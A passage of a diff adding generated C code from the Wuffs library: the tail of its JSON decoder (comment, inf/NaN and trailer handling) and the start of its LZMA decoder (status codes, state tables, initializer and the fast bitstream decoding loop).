WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ } ++ v_length = 0u; ++ continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 == 10u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ self->private_impl.f_comment_type = 2u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ iop_a_src += 1u; ++ if (v_length >= 65533u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ } ++ v_length = 0u; ++ continue; ++ } ++ v_length += 1u; ++ } ++ } ++ ++ ok: ++ self->private_impl.p_decode_comment = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_comment = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func json.decoder.decode_inf_nan ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_inf_nan( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_c32 = 0; ++ uint32_t v_neg = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_inf_nan; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 2u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ continue; ++ } ++ v_c32 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ if ((v_c32 | 2105376u) == 6712937u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) > 7u) { ++ if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) | 2314885530818453536u) == 8751735898823356009u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(8u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 8u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ } else if ( ! (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ continue; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 3u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if ((v_c32 | 2105376u) == 7233902u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(10485888u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 3u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if ((v_c32 & 255u) == 43u) { ++ v_neg = 0u; ++ } else if ((v_c32 & 255u) == 45u) { ++ v_neg = 1u; ++ } else { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 3u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ continue; ++ } ++ v_c32 = (wuffs_base__peek_u32le__no_bounds_check(iop_a_src) >> 8u); ++ if ((v_c32 | 2105376u) == 6712937u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) > 8u) { ++ if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 1u) | 2314885530818453536u) == 8751735898823356009u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 9u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ } else if ( ! (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ continue; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 4u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if ((v_c32 | 2105376u) == 7233902u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((10485760u | (((uint32_t)(128u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 4u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ ++ ok: ++ self->private_impl.p_decode_inf_nan = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_inf_nan = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func json.decoder.decode_trailer ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_trailer( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_whitespace_length = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_trailer; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_quirks[18u]) { ++ self->private_impl.f_trailer_stop = 10u; ++ } else { ++ self->private_impl.f_trailer_stop = 0u; ++ } ++ label__outer__continue:; ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ v_whitespace_length = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (v_whitespace_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ if (a_src && a_src->meta.closed) { ++ goto label__outer__break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ goto label__outer__continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (WUFFS_JSON__LUT_CLASSES[v_c8] != 0u) { ++ if (v_whitespace_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ if (self->private_impl.f_trailer_stop > 0u) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_comment_type > 0u) { ++ goto label__outer__continue; ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ iop_a_src += 1u; ++ if ((v_whitespace_length >= 65534u) || (v_c8 == self->private_impl.f_trailer_stop)) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)((v_whitespace_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_c8 == self->private_impl.f_trailer_stop) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ goto label__outer__continue; ++ } ++ v_whitespace_length += 1u; ++ } ++ } ++ label__outer__break:; ++ ++ ok: ++ self->private_impl.p_decode_trailer = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_trailer = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_lzma__error__bad_lzma2_header[] = "#lzma: bad LZMA2 header"; ++const char wuffs_lzma__error__bad_bitstream_trailer[] = "#lzma: bad bitstream trailer"; ++const char wuffs_lzma__error__bad_code[] = "#lzma: bad code"; ++const char wuffs_lzma__error__bad_decoded_length[] = "#lzma: bad decoded length"; ++const char wuffs_lzma__error__bad_distance[] = "#lzma: bad distance"; ++const char wuffs_lzma__error__bad_header[] = "#lzma: bad header"; ++const char wuffs_lzma__error__truncated_input[] = "#lzma: truncated input"; ++const char wuffs_lzma__error__unsupported_decoded_length[] = "#lzma: unsupported decoded length"; ++const char wuffs_lzma__error__unsupported_properties[] = "#lzma: unsupported properties"; ++const char wuffs_lzma__error__internal_error_inconsistent_i_o[] = "#lzma: internal error: inconsistent I/O"; ++const char wuffs_lzma__error__internal_error_inconsistent_dictionary_state[] = "#lzma: internal error: inconsistent dictionary state"; ++ ++// ---------------- Private Consts ++ ++static const uint8_t ++WUFFS_LZMA__STATE_TRANSITION_LITERAL[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 1u, 2u, 3u, 4u, ++ 5u, 6u, 4u, 5u, ++}; ++ ++static const uint8_t ++WUFFS_LZMA__STATE_TRANSITION_MATCH[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 7u, 7u, 7u, 7u, 7u, 7u, 7u, 10u, ++ 10u, 10u, 10u, 10u, ++}; ++ ++static const uint8_t ++WUFFS_LZMA__STATE_TRANSITION_LONGREP[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 8u, 8u, 8u, 8u, 8u, 8u, 8u, 11u, ++ 11u, 11u, 11u, 11u, ++}; ++ ++static const uint8_t ++WUFFS_LZMA__STATE_TRANSITION_SHORTREP[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 9u, 9u, 9u, 9u, 9u, 9u, 9u, 11u, ++ 11u, 11u, 11u, 11u, ++}; ++ ++static const uint8_t ++WUFFS_LZMA__CLAMP_NO_MORE_THAN_3[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 2u, 3u, 3u, 3u, 3u, 3u, ++}; ++ ++#define WUFFS_LZMA__QUIRKS_BASE 1348001792u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream_fast( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream_slow( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__add_history( ++ wuffs_lzma__decoder* self, ++ wuffs_base__slice_u8 a_hist, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__do_transform_io( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__update_stashed_bytes( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_optional_end_of_stream( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzma__decoder__initialize_dict( ++ wuffs_lzma__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzma__decoder__initialize_probs( ++ wuffs_lzma__decoder* self); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_lzma__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_lzma__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_lzma__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_lzma__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_lzma__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzma__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_lzma__decoder__initialize( ++ wuffs_lzma__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_lzma__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_lzma__decoder* ++wuffs_lzma__decoder__alloc(void) { ++ wuffs_lzma__decoder* x = ++ (wuffs_lzma__decoder*)(calloc(1, sizeof(wuffs_lzma__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_lzma__decoder__initialize( ++ x, sizeof(wuffs_lzma__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_lzma__decoder(void) { ++ return sizeof(wuffs_lzma__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func lzma.decoder.decode_bitstream_fast ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream_fast( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_range = 0; ++ uint32_t v_state = 0; ++ uint32_t v_rep0 = 0; ++ uint32_t v_rep1 = 0; ++ uint32_t v_rep2 = 0; ++ uint32_t v_rep3 = 0; ++ uint32_t v_reptmp = 0; ++ uint32_t v_rep = 0; ++ uint64_t v_pos = 0; ++ uint64_t v_pos_end = 0; ++ uint32_t v_lc = 0; ++ uint64_t v_lp_mask = 0; ++ uint64_t v_pb_mask = 0; ++ uint32_t v_prob = 0; ++ uint32_t v_threshold = 0; ++ uint32_t v_tree_node = 0; ++ uint8_t v_prev_byte = 0; ++ uint32_t v_match_byte = 0; ++ uint32_t v_match_cusp = 0; ++ uint32_t v_len_state = 0; ++ uint32_t v_slot = 0; ++ uint32_t v_len = 0; ++ uint32_t v_lanl_offset = 0; ++ uint32_t v_lanl_old_offset = 0; ++ uint32_t v_lanl_index = 0; ++ uint32_t v_num_extra_bits = 0; ++ uint32_t v_dist_extra_bits = 0; ++ uint32_t v_high_bit_was_on = 0; ++ uint32_t v_i = 0; ++ uint32_t v_index_ao00 = 0; ++ uint32_t v_index_ao41 = 0; ++ uint32_t v_index_lit = 0; ++ uint32_t v_index_len = 0; ++ uint32_t v_index_small_dist_base = 0; ++ uint32_t v_index_small_dist_extra = 0; ++ uint32_t v_index_small_dist = 0; ++ uint32_t v_index_large_dist = 0; ++ uint32_t v_dist = 0; ++ uint32_t v_adj_dist = 0; ++ uint64_t v_wb_index = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_prev_byte = self->private_impl.f_stashed_bytes[0u]; ++ v_match_byte = ((uint32_t)(self->private_impl.f_stashed_bytes[1u])); ++ v_bits = self->private_impl.f_stashed_bits; ++ v_range = self->private_impl.f_stashed_range; ++ v_state = self->private_impl.f_stashed_state; ++ v_rep0 = self->private_impl.f_stashed_rep0; ++ v_rep1 = self->private_impl.f_stashed_rep1; ++ v_rep2 = self->private_impl.f_stashed_rep2; ++ v_rep3 = self->private_impl.f_stashed_rep3; ++ v_pos = self->private_impl.f_stashed_pos; ++ v_pos_end = self->private_impl.f_stashed_pos_end; ++ v_lc = self->private_impl.f_lc; ++ v_lp_mask = ((((uint64_t)(1u)) << self->private_impl.f_lp) - 1u); ++ v_pb_mask = ((((uint64_t)(1u)) << self->private_impl.f_pb) - 1u); ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 282u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 48u)) { ++ if (v_pos >= v_pos_end) { ++ self->private_impl.f_end_of_chunk = true; ++ break; ++ } ++ v_index_ao00 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao00[v_index_ao00])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_lit = (15u & ((((uint32_t)((v_pos & v_lp_mask))) << v_lc) | (((uint32_t)(v_prev_byte)) >> (8u - v_lc)))); ++ v_lanl_offset = 0u; ++ if (v_state >= 7u) { ++ v_lanl_offset = 256u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_match_byte <<= 1u; ++ v_lanl_old_offset = v_lanl_offset; ++ v_lanl_offset &= v_match_byte; ++ v_lanl_index = (v_lanl_offset + v_lanl_old_offset + v_tree_node); ++ v_prob = ((uint32_t)(self->private_data.f_probs_lit[v_index_lit][v_lanl_index])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_lanl_offset = ((v_lanl_offset ^ v_lanl_old_offset) & 256u); ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_prev_byte = ((uint8_t)(v_tree_node)); ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_prev_byte), iop_a_dst += 1); ++ v_pos += 1u; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LITERAL[v_state])); ++ continue; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 